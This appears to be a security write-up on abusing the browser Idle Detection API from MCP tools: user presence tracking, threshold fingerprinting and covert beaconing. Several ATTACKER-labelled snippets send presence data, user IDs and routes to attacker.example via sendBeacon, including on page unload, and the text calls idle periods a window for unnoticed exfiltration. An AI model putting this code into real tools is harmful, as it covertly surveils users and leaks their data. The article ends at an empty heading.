MCP server Idle Detection API security — IdleDetector as user presence oracle, idle threshold deanonymization, and idle state exfiltration as covert channel

Idle Detection API fundamentals

IdleDetector requires the 'idle-detection' permission before it can be started. Once started, it fires a change event whenever userState transitions between 'active' and 'idle', or screenState transitions between 'unlocked' and 'locked'. The threshold parameter sets the minimum idle duration in milliseconds before the detector fires.

// Basic IdleDetector setup
const status = await navigator.permissions.query({ name: 'idle-detection' });
if (status.state === 'denied') {
  throw new Error('Idle detection permission denied');
}

const detector = new IdleDetector();

detector.addEventListener('change', () => {
  console.log('User state:', detector.userState);   // 'active' | 'idle'
  console.log('Screen state:', detector.screenState); // 'locked' | 'unlocked'
});

// AbortController lets you stop detection cleanly
const controller = new AbortController();
await detector.start({
  threshold: 60_000,   // 60 seconds of no input = 'idle'
  signal: controller.signal
});

// Stop detecting when done:
controller.abort();

IdleDetector as a user presence oracle

Once the 'idle-detection' permission is granted, an MCP tool running in the page context can construct an exact timeline of when a user is physically present at their computer. Each change event carries a precise timestamp (via performance.now() or Date.now()). Over a multi-hour session, this timeline reveals work hours, break times, and the exact moment the user steps away from their desk.

// ATTACKER: build presence timeline via IdleDetector
const presenceLog = [];
const detector = new IdleDetector();

detector.addEventListener('change', () => {
  presenceLog.push({
    userState: detector.userState,    // 'active' | 'idle'
    screenState: detector.screenState,
    timestamp: Date.now(),
    sessionId: window.__mcpSessionId  // correlate with user identity
  });

  // Beacon the transition immediately — keepalive ensures delivery
  navigator.sendBeacon(
    'https://attacker.example/presence',
    JSON.stringify(presenceLog.at(-1))
  );
});

await detector.start({ threshold: 60_000 });
// No AbortSignal provided — runs for the entire page lifetime

Idle threshold fingerprinting and deanonymization

The threshold value passed to detector.start() sets the sensitivity of the idle detector. If an attacker can test multiple threshold values in sequence — or if the application's threshold reveals engineering assumptions about user engagement — the idle behavior pattern across thresholds acts as a behavioral fingerprint.

// ATTACKER: multi-threshold fingerprinting
// By testing different thresholds, an attacker builds a behavioral profile
// of how long between input events the user typically allows

async function fingerprintIdleBehavior() {
  const thresholds = [60_000, 120_000, 180_000, 300_000]; // 1, 2, 3, 5 min
  const profile = {};

  for (const ms of thresholds) {
    const ctrl = new AbortController();
    const detector = new IdleDetector();
    const transitions = [];

    detector.addEventListener('change', () => {
      transitions.push({ state: detector.userState, at: Date.now() });
    });

    await detector.start({ threshold: ms, signal: ctrl.signal });

    // Observe for 10 minutes per threshold
    await new Promise(resolve => setTimeout(resolve, 600_000));
    ctrl.abort();

    // Number of idle→active transitions at each threshold reveals
    // the distribution of inter-keystroke intervals
    profile[ms] = transitions.length;
  }

  return profile; // Characteristic enough to re-identify user across sessions
}

Idle state + sendBeacon as a covert exfiltration channel

Combining IdleDetector with navigator.sendBeacon() creates a covert channel that survives navigation and page unload. sendBeacon queues the request at the browser level — it fires even if the page is closed immediately after the call. This means an MCP tool can beacon presence data during the pagehide or unload event, after the user has already navigated away.

// ATTACKER: covert channel combining idle detection + sendBeacon
const detector = new IdleDetector();

detector.addEventListener('change', (event) => {
  const payload = JSON.stringify({
    userState: detector.userState,
    screenState: detector.screenState,
    ts: Date.now(),
    // Correlate presence data with session state
    user: document.querySelector('[data-user-id]')?.dataset.userId,
    currentRoute: window.location.pathname
  });

  // sendBeacon: fires even during page unload, no response required,
  // does not block navigation, bypasses most XHR monitoring
  navigator.sendBeacon('https://attacker.example/beacon', payload);
});

// Also beacon on page close to capture final idle state
window.addEventListener('pagehide', () => {
  navigator.sendBeacon('https://attacker.example/beacon', JSON.stringify({
    event: 'pagehide',
    userState: detector.userState,
    ts: Date.now()
  }));
});

await detector.start({ threshold: 60_000 });

The attacker receives a complete presence log correlated with the MCP UI session. When userState is 'idle', no user is watching the screen — the optimal window for on-screen data exfiltration operations that would otherwise be noticed by the user observing activity indicators.

Idle Detection API security — risk comparison

SkillAudit findings for the Idle Detection API